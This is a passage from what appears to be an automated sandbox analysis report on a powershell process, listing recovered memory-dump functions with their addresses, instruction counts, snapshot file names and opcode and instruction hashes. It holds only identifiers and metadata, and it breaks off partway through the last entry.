                                                            • Snapshot File: hcaresult_5_2_2cfd000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: df5140af703c1ca5be3de0d1940080353a19e4616ff8f0ec159d47f408ffa0af
                                                            • Instruction ID: e282de2773d95d35639ff2fc9b54702021ef6d98b40615f4fe4a483b8f78054f
                                                            • Opcode Fuzzy Hash: df5140af703c1ca5be3de0d1940080353a19e4616ff8f0ec159d47f408ffa0af
                                                            • Instruction Fuzzy Hash: 11214671604200DFDB94DF24C9C0B26BFA5FB94314F24C5ADDA0A4BA96C33AD446CBA1
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 04649400 Relevance: .1, Instructions: 69COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2041399443.0000000004640000.00000040.00000800.00020000.00000000.sdmp, Offset: 04640000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_4640000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: cb0103df5463e80aee3328026163c83b8166c787b1dee365def5c4bbe973557b
                                                            • Instruction ID: fefbc971e24a2f55b8594b90ba359c2bf42d970130c3a1773146cba6b2bac284
                                                            • Opcode Fuzzy Hash: cb0103df5463e80aee3328026163c83b8166c787b1dee365def5c4bbe973557b
                                                            • Instruction Fuzzy Hash: BA2146B0A017448EDB64CF7AC48878AFBF6EF88324F28C41AD84D97245E67464898B61
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0464767C Relevance: .1, Instructions: 62COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2041399443.0000000004640000.00000040.00000800.00020000.00000000.sdmp, Offset: 04640000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_4640000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 6b6a283eed9704141fd7e6fd5678e284fe8eaa426fa443cd3c3f7f056a56006c
                                                            • Instruction ID: 40bc6641bed858e6ddc3ff66725d66263fc98358a644fefa476880615496c525
                                                            • Opcode Fuzzy Hash: 6b6a283eed9704141fd7e6fd5678e284fe8eaa426fa443cd3c3f7f056a56006c
                                                            • Instruction Fuzzy Hash: B4111979B001188FCF14DBA8E940A9E77F6EBC8325B0440A5E909EB324DB35EC058B90
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0464E290 Relevance: .1, Instructions: 57COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2041399443.0000000004640000.00000040.00000800.00020000.00000000.sdmp, Offset: 04640000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_4640000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: fafb198a5bb19631fa428770c3c75cfee508a75806d0ab9f72363463b863c0e9
                                                            • Instruction ID: 45d85c03a9bd93c7df92e7a09b46be23d6397503bbea4b51fdc03b7ea61a4290
                                                            • Opcode Fuzzy Hash: fafb198a5bb19631fa428770c3c75cfee508a75806d0ab9f72363463b863c0e9
                                                            • Instruction Fuzzy Hash: 54117F718013858FDB12CF6AC9447DEBFF4AF49324F28805ED448A7251D73AA584CBA1
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02CFF3D3 Relevance: .1, Instructions: 57COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2040850910.0000000002CFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CFD000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_2cfd000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: ac59097383679d3c36945f3a55f47b1b34a77431d90e23eb4db771cfbaa4427a
                                                            • Instruction ID: c92aa66a797254720340db8d34aba8b4e81a94add8573e0229a6b54f2745d143
                                                            • Opcode Fuzzy Hash: ac59097383679d3c36945f3a55f47b1b34a77431d90e23eb4db771cfbaa4427a
                                                            • Instruction Fuzzy Hash: B221AC76504240DFCB46CF10D9C4B16BF72FB88314F24C5ADEA094A6A6C33AD56ACB91
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 04642C5C Relevance: .1, Instructions: 54COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2041399443.0000000004640000.00000040.00000800.00020000.00000000.sdmp, Offset: 04640000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_4640000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: ae6f94f61ac6e36834f4c81e956e4a036642aa03c966692587a5efb6dd9a1564
                                                            • Instruction ID: 7ccfb03df83b1c83212a1173926ba54c2898ff68d44898bdb425ab0c4935a64c
                                                            • Opcode Fuzzy Hash: ae6f94f61ac6e36834f4c81e956e4a036642aa03c966692587a5efb6dd9a1564
                                                            • Instruction Fuzzy Hash: FE11703550D3905FCB03DFACE8605E97F70EF4A220B1541C7D0949B2A2C626A949CBA5
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02CFF027 Relevance: .1, Instructions: 53COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2040850910.0000000002CFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CFD000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_2cfd000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: e9867b41209b1ae96989907f61c5f808f60e730aab7477091df5884716147213
                                                            • Instruction ID: 74c582e113ff949e300a0508a693fde66504dbca33f651e8d2dbfa08e7e6bd9b
                                                            • Opcode Fuzzy Hash: e9867b41209b1ae96989907f61c5f808f60e730aab7477091df5884716147213
                                                            • Instruction Fuzzy Hash: 1611DD75504280CFDB51CF14D9C4B15BFA1FB84328F28C6AED9094BA96C33AD54ACBA1
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0464E2A0 Relevance: .1, Instructions: 51COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2041399443.0000000004640000.00000040.00000800.00020000.00000000.sdmp, Offset: 04640000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_4640000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: fdb0f96b4d526e06a66baaf7caa3b2ab8648760374d5a178dc17f0ccbaf9488b
                                                            • Instruction ID: 5eea495717f0005eb2e9f2471e82215a6f2763db6b531cc99c1bfe67ffcfa4bc
                                                            • Opcode Fuzzy Hash: fdb0f96b4d526e06a66baaf7caa3b2ab8648760374d5a178dc17f0ccbaf9488b
                                                            • Instruction Fuzzy Hash: 591136B19003498FDB11CF9AC5047DEFBF4FB48324F28806DD548A7241E77AA944CBA5
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0464DCD9 Relevance: .1, Instructions: 51COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2041399443.0000000004640000.00000040.00000800.00020000.00000000.sdmp, Offset: 04640000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_4640000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 9daa3ee28205c4292508400db05ad99e3d7260126c8b15e820ae1fadcc06c1e3
                                                            • Instruction ID: 6378eab68c6bf5f3fcdcf21d0ee98038c199dff8b7f2839b9a35a61abb98e0a2
                                                            • Opcode Fuzzy Hash: 9daa3ee28205c4292508400db05ad99e3d7260126c8b15e820ae1fadcc06c1e3
                                                            • Instruction Fuzzy Hash: E9016670F09284ABCF119B78D8004FCBFB2DFD8210F1840ABD40187752FA21A852C7A1
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0464BCE0 Relevance: .0, Instructions: 50COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2041399443.0000000004640000.00000040.00000800.00020000.00000000.sdmp, Offset: 04640000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_4640000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: f602cb72b2645530cc0b4f27a21e44cbcb434e60853d1abd89ab412e56a570ac
                                                            • Instruction ID: e93dfa524b147e990a203e202aff10c2248cc906d0efa3a6cbc6da151b1b1b42
                                                            • Opcode Fuzzy Hash: f602cb72b2645530cc0b4f27a21e44cbcb434e60853d1abd89ab412e56a570ac
                                                            • Instruction Fuzzy Hash: 8801CC316083849FDB14DB79C594A5ABFE5AF46610B1888EAE08AC76A2DA21F845C741
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0464F330 Relevance: .0, Instructions: 48COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2041399443.0000000004640000.00000040.00000800.00020000.00000000.sdmp, Offset: 04640000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_4640000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: f167cedb2ccb2f1217fd1d6dc89e0f4693a90096aac0f2ea28cfd7fd376725e3
                                                            • Instruction ID: d0cdeb904a1f3ff027e9ec5395a13329a4b18a1dd7391076c3a18f37bdedf697
                                                            • Opcode Fuzzy Hash: f167cedb2ccb2f1217fd1d6dc89e0f4693a90096aac0f2ea28cfd7fd376725e3
                                                            • Instruction Fuzzy Hash: 3F11F7352047508FC728DF35D09085ABBF6AF8931532489ADD44A8B7A1DB36F846CB50
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0464DE98 Relevance: .0, Instructions: 48COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2041399443.0000000004640000.00000040.00000800.00020000.00000000.sdmp, Offset: 04640000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_4640000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 9253ca70b4dc258dc6f5e57867491a0cb5381ab02afbef649d0965fdf03c24f2
                                                            • Instruction ID: 6d08a0a0393eb9cd265153ad423467a502b3a6e21af50b13693ff15171d0cbef
                                                            • Opcode Fuzzy Hash: 9253ca70b4dc258dc6f5e57867491a0cb5381ab02afbef649d0965fdf03c24f2
                                                            • Instruction Fuzzy Hash: D8019E35B00214CFDB119F74E809AAEBBF9FBC8315F004069E90AD3342DB36A911CB90
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0464BF10 Relevance: .0, Instructions: 46COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2041399443.0000000004640000.00000040.00000800.00020000.00000000.sdmp, Offset: 04640000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_4640000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 78c29bffa2e042c1d5c4d07a7099a93de4bac751f5a6cbf4f943c73930f3b5c5
                                                            • Instruction ID: d634d5e21a7dd5aedceb8b80f3864599643281d51b15020c6e13587f2e476b8d
                                                            • Opcode Fuzzy Hash: 78c29bffa2e042c1d5c4d07a7099a93de4bac751f5a6cbf4f943c73930f3b5c5
                                                            • Instruction Fuzzy Hash: CD01F4317093A22FD7018A798C5496BBFFDDF8A610B1444ABF844C7352DA70CD048760
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02CFD005 Relevance: .0, Instructions: 45COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2040850910.0000000002CFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CFD000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_2cfd000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: a0faacde3eed6bb8f4b7b7711345cc60ae3957a3e4a1d93a70ba6650eda2c989
                                                            • Instruction ID: 02d6f8bf0181358c309d849c73fb42cc93934e28e4d426fcdc1766c1b88b4884
                                                            • Opcode Fuzzy Hash: a0faacde3eed6bb8f4b7b7711345cc60ae3957a3e4a1d93a70ba6650eda2c989
                                                            • Instruction Fuzzy Hash: C6014C6100E3C09ED7528B358894B52BFB4EF47224F1DC1DBD9888F2A3C2699849C7B2
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02CFD01D Relevance: .0, Instructions: 45COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2040850910.0000000002CFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CFD000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_2cfd000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 61c2845155e1d16cbece7a8cd8289dc7ba16a46cff1725200367eed2776055cc
                                                            • Instruction ID: c66f5923c1ee1f89d33a11d8ee0d09bac65a51be4e8af9234cecf440efd9f75e
                                                            • Opcode Fuzzy Hash: 61c2845155e1d16cbece7a8cd8289dc7ba16a46cff1725200367eed2776055cc
                                                            • Instruction Fuzzy Hash: B1012B31008300AAE7904A26CDC4767FF98DF81324F18C52AEE4A0F646C779D981C6F1
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0464F3A9 Relevance: .0, Instructions: 39COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2041399443.0000000004640000.00000040.00000800.00020000.00000000.sdmp, Offset: 04640000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_4640000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 47309deac382b0aec7dd5af5d76e705d85814a1d7c29b711806085a278d410c7
                                                            • Instruction ID: ffd3e389c6e147c9f873da0a3520eceeb495c1a054aa5a82e1568aff9caeb929
                                                            • Opcode Fuzzy Hash: 47309deac382b0aec7dd5af5d76e705d85814a1d7c29b711806085a278d410c7
                                                            • Instruction Fuzzy Hash: 2701E571D1078B9ACB05CFE4CA045EEFBB1BF89304F24171AE005A6A41EBB06696CB90
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 046490D8 Relevance: .0, Instructions: 37COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2041399443.0000000004640000.00000040.00000800.00020000.00000000.sdmp, Offset: 04640000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_4640000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: cd67bbddc39cad4c5f0b6afccf167b1d6f022efb07c97b6aa87fbf24bfa108c2
                                                            • Instruction ID: b9bd719911c930934d6838e1fe05ab9e9de90a00f43144b956dad43daa1489cc
                                                            • Opcode Fuzzy Hash: cd67bbddc39cad4c5f0b6afccf167b1d6f022efb07c97b6aa87fbf24bfa108c2
                                                            • Instruction Fuzzy Hash: BBF0FC756042815FE7555B34C0143AB7F72DFC5318F14809FC54957386CE395846DBA1
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02CFD9A7 Relevance: .0, Instructions: 37COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2040850910.0000000002CFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CFD000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_2cfd000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 388e90212eb8c831d2d9b394b74d500184c8575f70541f346ee6da2bca2bdc73
                                                            • Instruction ID: 13118b3cd303122ecb8dd2dd3c2b91afeaaae903103fc65b54e608ddb92ca187
                                                            • Opcode Fuzzy Hash: 388e90212eb8c831d2d9b394b74d500184c8575f70541f346ee6da2bca2bdc73
                                                            • Instruction Fuzzy Hash: 54F0E776200600AF97608F0AD985C26FBA9EBD4670719C55AED4A4B615C771EC41CAA0
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0464F3B8 Relevance: .0, Instructions: 33COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2041399443.0000000004640000.00000040.00000800.00020000.00000000.sdmp, Offset: 04640000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_4640000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: c606d52d32fd2901e73d18cc3261055fe005de213880b3c0b92c8afbde11617c
                                                            • Instruction ID: 87227c474838548ae5323a79514b57263927831047d34767215c54b08f48a714
                                                            • Opcode Fuzzy Hash: c606d52d32fd2901e73d18cc3261055fe005de213880b3c0b92c8afbde11617c
                                                            • Instruction Fuzzy Hash: EE01EF71D0074ADBCB04CFE4C9446EEFBB5FF99304F20172AE015A6A04EBB06696CB91
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 04647968 Relevance: .0, Instructions: 33COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2041399443.0000000004640000.00000040.00000800.00020000.00000000.sdmp, Offset: 04640000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_4640000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 5e8305f0290421f91828003617691866b41a5f69576af434510dcbc14194b149
                                                            • Instruction ID: 6670bf5c88c8685d9c83972c8d62477095dfae07066ebfe39f8f3bfe05dbd26e
                                                            • Opcode Fuzzy Hash: 5e8305f0290421f91828003617691866b41a5f69576af434510dcbc14194b149
                                                            • Instruction Fuzzy Hash: BCF0A771700215AFDB54AB59E84496FB7E9EBC8265B00492DE10EC3740DF31AC4187A5
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02CFD998 Relevance: .0, Instructions: 33COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2040850910.0000000002CFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CFD000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_2cfd000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 02669b46b04d4f2bde6d4f258b62df0bcfabe3f12e915fda9cc8c42280b4c034
                                                            • Instruction ID: b8be65ecc76e31ba4404c4b74816cec187cd22540dc7d782c2c09c7503f0a979
                                                            • Opcode Fuzzy Hash: 02669b46b04d4f2bde6d4f258b62df0bcfabe3f12e915fda9cc8c42280b4c034
                                                            • Instruction Fuzzy Hash: BBF0F975100640AFD765CF06C985D23BBB9EB89624B198599EC8A5B312C771FC42CF60
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0464DE38 Relevance: .0, Instructions: 32COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2041399443.0000000004640000.00000040.00000800.00020000.00000000.sdmp, Offset: 04640000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_4640000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 194d4d12b08f6bb5cd2bac3998f2216966d9e14047c03ac16a78e906111f7274
                                                            • Instruction ID: 762dd2452926f82de0c8fe563d08e05498e450ae54dc13c72f30959dd0392bec
                                                            • Opcode Fuzzy Hash: 194d4d12b08f6bb5cd2bac3998f2216966d9e14047c03ac16a78e906111f7274
                                                            • Instruction Fuzzy Hash: 0EF08C387142408FC7009F2CD4948A6BBF6AFDA215329109AE488DB732DA71DC11CB50
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 04647697 Relevance: .0, Instructions: 31COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2041399443.0000000004640000.00000040.00000800.00020000.00000000.sdmp, Offset: 04640000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_4640000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: d301187f8da712a4d6758a5e8c05b081d9b1e64243ca54297e1a45fffcd6cbdd
                                                            • Instruction ID: 083010ac946040255aa623fb48a736f9c48e825948d8cd7361224c7ad420994b
                                                            • Opcode Fuzzy Hash: d301187f8da712a4d6758a5e8c05b081d9b1e64243ca54297e1a45fffcd6cbdd
                                                            • Instruction Fuzzy Hash: 92F0A0797001088FDF10EB6C9800A9A7BE7EBC8352B054195E909CB324EB30EC018B90
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 046490E8 Relevance: .0, Instructions: 31COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2041399443.0000000004640000.00000040.00000800.00020000.00000000.sdmp, Offset: 04640000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_4640000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 39b259759b42fd8c1d447638d14974e98a641855bb94afce44518e693d4a6ed3
                                                            • Instruction ID: 21bfa0ca9481e484af0795d3763196b02be8cbbbb7099656426b23d12e4b9673
                                                            • Opcode Fuzzy Hash: 39b259759b42fd8c1d447638d14974e98a641855bb94afce44518e693d4a6ed3
                                                            • Instruction Fuzzy Hash: 20F027757002046BE740AF64C0183ABBBA6EFC0328F10816EC90957384CE3D2802CBE1
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 04649158 Relevance: .0, Instructions: 31COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2041399443.0000000004640000.00000040.00000800.00020000.00000000.sdmp, Offset: 04640000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_4640000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: d16df1321e8fe358bcb4f58bf03eb85f4cf87515878efcba27737fd72df53146
                                                            • Instruction ID: fca30ab59551a364c66765d3f8dff9983ba83915fed3ff9cc2c5320aef3ab405
                                                            • Opcode Fuzzy Hash: d16df1321e8fe358bcb4f58bf03eb85f4cf87515878efcba27737fd72df53146
                                                            • Instruction Fuzzy Hash: 94F089715053805FD7618B78D49839ABFB5FB45310F1444ABD18DC7243CB386885CB51
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0464DE48 Relevance: .0, Instructions: 30COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2041399443.0000000004640000.00000040.00000800.00020000.00000000.sdmp, Offset: 04640000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_4640000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: a8bd0eb010a30a30b7e10ae0f46d30b79e8e325e2a0102d7d3c580213a5e7d5f
                                                            • Instruction ID: fbf01c3d76b06794b19fd0edfb44a18074946a7eedd4cda0cac75573efbe8059
                                                            • Opcode Fuzzy Hash: a8bd0eb010a30a30b7e10ae0f46d30b79e8e325e2a0102d7d3c580213a5e7d5f
                                                            • Instruction Fuzzy Hash: A0E0E5397002119F8710AB1DD498C66BBFAEFDE76571900AAF549CB735DA71EC01CB90
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0464896B Relevance: .0, Instructions: 29COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2041399443.0000000004640000.00000040.00000800.00020000.00000000.sdmp, Offset: 04640000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_4640000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: c33dd33cddb92b6257fba0c1c56d7bfaa53e9c2855bb1be55e4efb64ecbe5426
                                                            • Instruction ID: 85e5a50d77a89e49ac411d80563c97de3013fdf8f5f7f1967eca1456b704fce1
                                                            • Opcode Fuzzy Hash: c33dd33cddb92b6257fba0c1c56d7bfaa53e9c2855bb1be55e4efb64ecbe5426
                                                            • Instruction Fuzzy Hash: 1CF0A7357083915BD706177498182AF7F66AFC5725F05409BD60587243CF6809058795
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0464F850 Relevance: .0, Instructions: 27COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2041399443.0000000004640000.00000040.00000800.00020000.00000000.sdmp, Offset: 04640000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_4640000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 0b9bb43e304fbdf9f76ff42c17e03abb5c80224f2797508700a788cd4aaf63a4
                                                            • Instruction ID: 25077c8a1c3b204c985f81e202c70c001296c71cc8b27cbc6b3bed688d306740
                                                            • Opcode Fuzzy Hash: 0b9bb43e304fbdf9f76ff42c17e03abb5c80224f2797508700a788cd4aaf63a4
                                                            • Instruction Fuzzy Hash: 48E0ED75D04209AF8B50DFB894419DAFBF4AB49220B6085BBC808E7601E73156129BD1
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0464AF88 Relevance: .0, Instructions: 26COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2041399443.0000000004640000.00000040.00000800.00020000.00000000.sdmp, Offset: 04640000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_4640000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: b6179296ead8052fe68e97e234d2181edf4f3a35af4ef544101844d5fec76644
                                                            • Instruction ID: efad3d35bc607837bd44d1618a472e8cb86d05e5be671a58a993e71e6b72a1ea
                                                            • Opcode Fuzzy Hash: b6179296ead8052fe68e97e234d2181edf4f3a35af4ef544101844d5fec76644
                                                            • Instruction Fuzzy Hash: 7FE0262175D3D22B8F2782B828100AAAF738AC312030D80FFE084CB383ED11884A83A5
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 04649168 Relevance: .0, Instructions: 25COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2041399443.0000000004640000.00000040.00000800.00020000.00000000.sdmp, Offset: 04640000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_4640000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: ec35a198209350a56fa612ab605e50ef7110e303b3e24f6c7dbb1995df672d78
                                                            • Instruction ID: 4d3152456b1141ab4a20c3e22b39418c03fdba8ba531c6075ff29eb360526345
                                                            • Opcode Fuzzy Hash: ec35a198209350a56fa612ab605e50ef7110e303b3e24f6c7dbb1995df672d78
                                                            • Instruction Fuzzy Hash: 92F06DB0A003045BD7A09F78D89C39BBBE9FB84310F004469D24EC3340DB3968818B90
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 04648978 Relevance: .0, Instructions: 24COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2041399443.0000000004640000.00000040.00000800.00020000.00000000.sdmp, Offset: 04640000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_4640000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 84c92416d05eeed4446312a60efa09bae9b98b4ed59cd242c1baa9198c2a2660
                                                            • Instruction ID: 72802c71f326b10bc739db06ffab92e95bdcf2e25d311053db3c576e1f18a0f6
                                                            • Opcode Fuzzy Hash: 84c92416d05eeed4446312a60efa09bae9b98b4ed59cd242c1baa9198c2a2660
